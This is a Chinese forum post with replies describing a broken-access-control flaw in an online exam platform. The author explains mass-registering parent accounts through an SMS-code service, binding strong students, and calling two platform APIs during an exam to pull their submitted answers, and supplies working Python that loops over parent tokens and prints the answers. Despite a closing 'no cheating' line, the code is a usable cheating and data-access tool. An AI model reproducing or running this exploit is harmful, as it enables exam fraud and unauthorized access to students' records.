某分数的脑瘫漏洞

查看 172|回复 11
作者:Tonyha7   
前言
半年之前搞过某师某课 可能学校意识到普遍分数过高是平台的问题 于是换了某分数提交考试卷子
既然是教育网站 那么或多或少会有一些脑瘫问题
本着研究但不利用的原则 便有了以下折腾的过程
过程
思路1-失败
通过考完试比对答案的接口 假装考试已经结束 发送数据来请求答案
结果:

很显然 人家已经想到了这个问题 不出分是无法获取到答案的
思路2
依稀记得家长端在绑定学生时 只需要输入对应的姓名和学号即可
那么可不可以用家长端绑定好学生 在考试期间获取他们的答案呢?
先说结果 这个思路是可以的
已知每个家长号能绑定最多两个学生 且半年后才能换绑
那么我们只要注册足够多的家长号 即可随便绑学生
这里用x码平台 具体懂得都懂

然后我们每个号绑定一个好学生
接下来分析提交的答案是怎么获取的
首先明确这个平台的几个概念:
不管是学生号还是家长号 都是一个账号对应一个hfs-session-id
家长号切换孩子后 同样的hfs-session-id获取到的卷子为切换到的学生的
考试部分获取答案总共需要两个包
第一个:

https://hfs-be.yunxiao.com/v2/online-exams/token?examId=考试id&paperId=完整的试卷id
这里需要注意一下 发包时除了要处理headers
还要把hfs-session-id写到cookies里去
成功的话 会返回一个阅卷token
第二个:
利用这个阅卷token去获取已经提交的答案

https://yj-apigw.haofenshu.com/v370/structure/online?paperid=试卷id
这里需要注意 这个包不要有cookies
要把获取到的阅卷token加到headers里
成功的话 会返回一个json 里面存有选项和提交的答案

(这里还没提交 所以是空的)
然后 我们模拟这个流程 用python写个发包解析的程序
import requests
import json
examid="考试id"
paperid="试卷id"
paperidfull="完整的试卷id"
stu_tokens = [
    "eyxxxxxxx",#家长token
]
count=1
for stu in stu_tokens:
    url="https://hfs-be.yunxiao.com/v2/online-exams/token?examId="+examid+"&paperId="+paperidfull
    cookie = {'hfs-session-id': stu}
    headers = {'devicetype': '1','apptype': '1','versionname': "4.30.91",'user-agent': "YX Android 10"}
    req=requests.get(url=url,headers=headers,cookies=cookie)
    #print(req.text)
    yuejuan=json.loads(req.text).get('data').get('token')
    headers.update({'hfs-app-token': yuejuan})
    url="https://yj-apigw.haofenshu.com/v370/structure/online?paperid="+paperid
    req=requests.get(url=url,headers=headers)
    #print(req.text)
    keguanti=json.loads(req.text).get('data').get('keguanti')
    zhuguanti=json.loads(req.text).get('data').get('zhuguanti')
    for dati in keguanti:
        print(dati["name"])
        questions_list=dati["questions"]
        for xiaoti in questions_list:
            if xiaoti["stuAns"] !="" and xiaoti["stuAns"] !="-":
                print(xiaoti["name"]+" "+xiaoti["stuAns"])
    for ti in zhuguanti:
        pic_list=ti["httpPath"]
        if pic_list != None:
            print(ti["name"]+" "+" ".join(pic_list))
    print("========== |"+str(count))
    count+=1
在考试结束的交卷时间里 我们一直重复运行即可

最后
严禁作弊!!!
严禁作弊!!!
严禁作弊!!!

答案, 家长

Eilliem   

经理看到连夜增加新功能:如果没有通过教师的author认证,就直接返回一套错误答案
如果最后把所有答案与错误答案对比,相似度超过90%直接交给人工审核
zxc135781   

感谢分享,但是感觉很快平台就会有动作了,这些平台难道都不做项目设计的吗?这么关键的数据居然随意下发给权限那么低的账户,不过修bug也简单,非教师用户仅能考试结束后xx小时调阅试卷即可
social666   

学习看看
Lisir99   

好贴,先点后试
ClearLover   

感谢分享
Aminx520   

中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢?
Tonyha7
OP
  

感谢分享,希望楼主多多发帖
long8586   


ClearLover 发表于 2022-11-30 18:41
中间那个是黄鸟吧,请问下安卓12以上的系统用黄鸟无ROOT的情况下怎么抓HTTPS的包呢?

虚拟机用justtrustme之类的模块 实机抓包
我比较喜欢直接用root
kuiur0810   

虽然用不上,但是还是点个赞!
您需要登录后才可以回帖 登录 | 立即注册